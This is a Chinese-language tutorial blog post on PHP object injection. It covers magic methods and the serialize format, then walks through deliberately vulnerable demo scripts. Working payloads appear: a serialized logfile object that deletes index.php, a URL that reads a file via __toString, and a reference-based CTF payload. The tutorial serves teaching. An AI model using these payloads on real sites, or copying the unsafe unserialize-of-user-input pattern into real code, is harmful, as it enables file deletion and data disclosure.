zoukankan      html  css  js  c++  java
  • jQuery火箭图标返回顶部代码

    0x01 php面向对象简介

    对象:可以对其做事情的一些东西。一个对象有状态、行为和标识三种属性。
    类:一个共享相同结构和行为的对象的集合。
    每个类的定义都以关键字class开头,后面跟着类的名字。

    一个类可以包含有属于自己的变量,变量(称为“属性”)以及函数(“称为方法”)。

    类定义了一件事物的抽象特点。通常来说,类定义了事物的属性和它可以做到的。

    类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号“_”开头的,比如_construct,_destruct,_toString,_sleep,_wakeup等。

    这些函数在某些情况下会自动调用,比如:_construct当一个对象创建时调用(constructor);_destruct当一个对象被销毁时调用(destructor);_toString当一个对象被当作一个字符串时使用。

    0x02 php对象概念及特性

    我们先创建一个简单的php对象:

    <?php
    class TestClass
    {
    //一个变量
    public $variable = 'This is a string';
    //一个简单的方法
    public function PrintVariable()
    {
    echo $this->variable;
    }
    }
    //创建一个对象
    $object = new TestClass();
    //调用一个方法
    $object->PrintVariable();
    ?>
    //test.php
    

    运行结果如下:

    接下来开始尝试使用magic函数,在类中添加几个magic函数:

    <?php
    
    class TestClass
    {
        //一个变量
        public $variable = 'This is a string';
        //一个简单的方法
        public function PrintVariable()
        {
            echo $this->variable.'<br />';
        }
        //Constructor
        public function  __construct()
        {
            echo '__construct<br />';
        }
        //Destructor
        public function __destruct()
        {
            echo '__destruct<br />';
        }
        //call
        public function __toString()
        {
            return '__toString<br />';
        }
    }
    //创建一个对象
    //__construct会被调用
    $object = new TestClass();
    //创建一个方法
    //‘This is a string’将会被输出
    $object->PrintVariable();
    //对象被当作一个字符串
    //toString会被调用
    echo $object;
    //php脚本要结束时,__destruct会被调用
    ?>
    //test1.php
    

    再来看一下这次:

    从结果看,这几个magic函数依次被调用了,这个旨在帮助我们理解php的magic函数。

    0x03 php序列化以及序列化格式

    在传递变量的过程中,有可能遇到变量值要跨脚本文件传递的过程。如果一个脚本中想要的调用之前一个脚本的变量,但是之前一个脚本已经执行完毕,所有的变量和内容释放掉了,那该如何操作呢?

    serialize和unserialize就是解决这一问题的存在,serialize可以将变量转换为字符串,并且在转换的过程中可以保存当前变量的值,而unserialize则可以将serialize生成的字符串转换回变量。

    通俗来说:通过反序列化在特定条件下可以重建php对象并执行php对象中某些magic函数。

    我们通过例子来看php对象序列化之后的格式,代码如下:

    <?php
    
    //一个类
    class User
    {
        //类的数据
        public $age = 0;
        public $name = '';
        //输出数据
        public function printdata()
        {
            echo 'User '.$this->name.' is '.$this->age.' years old.<br />';
        }
    }
    //创建一个对象
    $usr = new User();
    //设置数据
    $usr->age = 18;
    $usr->name = 'vergilben';
    //输出数据
    $usr->printdata();
    //输出序列化后的数据
    echo serialize($usr)
    ?>
    //test2.php
    

    结果如下:

    下面的O:4:“User”:2:{s:3:“age”;i:18;s:4:“name”;s:9:“vergilben”;}就是对象user序列化后的形式

    “O”表示对象,“4”表示对象名长度为4,“User”为对象名,“2”表示有2个参数。“{}”里面是参数的key和value,“s”表示string对象,“3”表示长度,“age”则为key;“i”是interger对象,“18”是value

    后面的都是相同的道理。接下来我们进行反序列化试一试,代码如下:

    <?php
    
    //一个类
    class User
    {
        //类的数据
        public $age = 0;
        public $name = '';
        //输出数据
        public function printdata()
        {
            echo 'User '.$this->name.' is '.$this->age.' years old.<br />';
        }
    }
    //重建对象
    $usr = unserialize('O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:9:"vergilben";}');
    //输出数据
    $usr->printdata();
    ?>
    //test3.php
    

    运行:

    可以看到,上次序列化的结果被转变成正常的语句了。

    0x04 php对象注入的成因

    我们知道magic函数是php对象的特殊函数,在某些特殊情况下会被调用,这下特殊情况当然包含serialize和unserialize。

    __sleep magic方法在一个对象被序列化时调用,__wakeup magic方法在一个对象被反序列化时调用。

    下面解释一下:

    <?php
    
    class test
    {
        public $variable = 'BUZZ';
        public $variable2 = 'OTHER';
        public function printvariable()
        {
            echo $this->variable.'<br />';
        }
        public function __construct()
        {
            echo '__construct'.'<br />';
        }
        public function __destruct()
        {
            echo '__destruct'.'<br />';
        }
        public function __wakeup()
        {
            echo '__wakeup'.'<br />';
        }
        public function __sleep()
        {
            echo '__sleep'.'<br />';
            return array('variable','variable2');
        }
    }
    
    //创建一个对象,回调用__construct
    $object = new test();
    //序列化一个对象,会调用__sleep
    $serialized = serialize($object);
    //输出序列化后的字符串
    print 'Serialized:'.$serialized.'<br />';
    //重建对象,会调用__wakeup
    $object2 = unserialize($serialized);
    //调用printvariable,会输出数据(BUZZ)
    $object2->printvariable();
    //脚本结束,会调用__destruct
    ?>
    //test4.php
    

    运行:

    可以看到serialize时调用了__sleep,unserialize时调用了__wakeup,在对象被销毁的时候用了__destruce。

    存在漏洞的思路:一个类用于临时将日志储存进某个文件,当__destruct被调用时,日志文件将会被删除,比如:

    <?php
    
    class logfile
    {
        //log文件名
        public $filename = 'error.log';
        //一些用于储存日志的代码
        public function logdata($text)
        {
            echo 'log data:'.$text.'<br />';
            file_put_contents($this->filename,$text,FILE_APPEND);
        }
        //destrcuctor 删除日志文件
        public function __destruct()
        {
            echo '__destruct deletes '.$this->filename.'file.<br />';
            unlink(dirname(__FILE__).'/'.$this->filename);
        }
    }
    ?>
    //test5.php
    

    调用这个类:

    <?php
    
    include 'test5.php'
    class User
    {
        //类数据
        public $age = 0;
        public $name = '';
        //输出数据
        public function printdata()
        {
            echo 'User '.$this->name.' is'.$this->age.' years old.<br />';
        }
    }
    //重建数据
    $usr = unserialize($_GET['usr_serialized']);
    ?>
    

    从代码中可以看到:usr=unserialize( usr = unserialize(usr=unserialize(_GET[‘usr_serialized’]);$_GET[‘usr_serialized’]是可控的,那么我们就可以构造输入删除任意文件

    构造输入删除目录下的index.php文件:

    <?php
    include 'test5.php';
    $object = new logfile();
    $object->filename = 'index.php';
    
    echo serialize($object).'<br />';
    
    ?>
    //test7.php
    

    接下来先进入index.php:

    接下来尝试使用test7.php删除了index.php,进入test7.php:

    现在在目录里已经没有了index.php:

    我们再次访问一下test7.php试一试:

    index.php已经没有了。

    0x05 常见的注入点

    上一部分展示了由于输入可控造成的__destruct函数删除任意文件,其实问题也可能存在于__wakeup、__sleep、__toString等其他magic函数,一切都取决于程序逻辑。

    5.1 读取文件

    比如,某用户类定义了一个__toString,为了让应用程序能够将类作为一个字符串输出(echo $object),而且其他类也可能定义了一个类允许__toString读取某个文件。

    现在开始这个小实验,代码如下:

    <?php
    
    include 'test9.php';
    $fileobj = new fileclass();
    $fileobj->filename = 'hello.txt';
    
    echo serialize($fileobj);
    ?>
    //test8.php
    

    我们先访问test8.php,结果如下:

    接下来构造一个触发页面:

    <?php
    
    class fileclass
    {
        //文件名
        public $filename = 'error.log';
        //当对象被作为一个字符串会读取这个文件
        public function __toString()
        {
            return file_get_contents($this->filename);
        }
    }
    
    class user
    {
        //class data
        public $age = 0;
        public $name = '';
        //允许对象作为一个字符串输出上面的data
        public function __toString()
        {
            return 'user '.$this->name.' is '.$this->age.' years old.<br />';
        }
    }
    
    //用户可控
    $obj = unserialize($_GET['usr_serialized']);
    //输出__toString
    echo $obj
    ?>
    //test9.php
    

    同时构造恶意url:

    http://localhost/test9.php?usr_serialized=O:9:"fileclass":1:{s:8:"filename";s:9:"hello.txt";}
    

    访问:

    我们看一下hello.txt的内容:

    unserialize漏洞依赖几个条件:

    unserialize函数的参数可控
    脚本中存在一个构造函数(__construct())、析构函数(__destruct())、__wakeup()函数中有向php文件中写数据的操作的类
    所写的内容需要有对象中的成员变量的值
    

    防范的方法:

    严格控制unserialize函数的参数,坚持用户所输入的信息都是不可靠的原则
    对于unserialize后的变量内容进行检查,以确定内容没有被污染
    

    5.2 来自两个变量的引用

    PHP 的引用允许你用两个变量来指向同一个内容:

    比如如下代码:

    <?php
    class SeBaFi
    {
    	var $name;
    	var $password;
    }
    
    if (isset($_GET['login']))
    {
    	$login = $_GET['login'];
    	if(get_magic_quotes_gpc())
    	{
    		$login=stripslashes($login);
    	}
    	$o=unserialize($login);
    	if($o)
    	{
    		$o->name='*';
    		if($o->name === $o->password)
    		{
    			echo "SeBaFi{".$o->name."}";
    		}
    		else
    		{
    			echo "wrong";
    		}
    	}
    	else
    	{
    		echo "what are you doing";
    	}
    }
    ?>
    

    理解如下:

    o变量将得到的pass值进行反序列化,得到相应的对象值。

    o->name === o->password 即可得到flag。

    由于很难构造相等,那么查看资料知:

    在PHP 中普通的传值赋值行为有个例外就是碰到对象 object时,在 PHP 5 中是以引用赋值:

    $var = &$othervar;
    

    引用赋值意味着两个变量指向了同一个数据,没有拷贝任何东西。满足了条件。

    payload:

    构造php:

    <?php
    class SeBaFi
    {
    	var $name;
    	var $password;
    }
    $o = new SeBaFi();
    $o->name=&$o->password;
    
    echo serialize($o);
    ?>
    

    得到反序列化的字符串:

    login=O:6:"SeBaFi":2:{s:4:"name";N;s:8:"password";R:2;}
    

    通过url传参,成功得到flag:

    0x06 参考链接

    https://blog.csdn.net/qingchenldl/article/details/79521300

    https://blog.csdn.net/weixin_42751456/article/details/88758908

  • 相关阅读:
    状态保持 session和cookie
    情人节——爱心代码
    Python常见的内置函数
    django
    面向对象和面向过程
    字符串的常见操作
    常见的数据类型
    Flask
    阿里云Centos7.6中部署nginx1.16+uwsgi2.0.18+Django2.0.4
    python中json和dict的基本区别
  • 原文地址:https://www.cnblogs.com/-mo-/p/11648838.html
Copyright © 2011-2022 走看看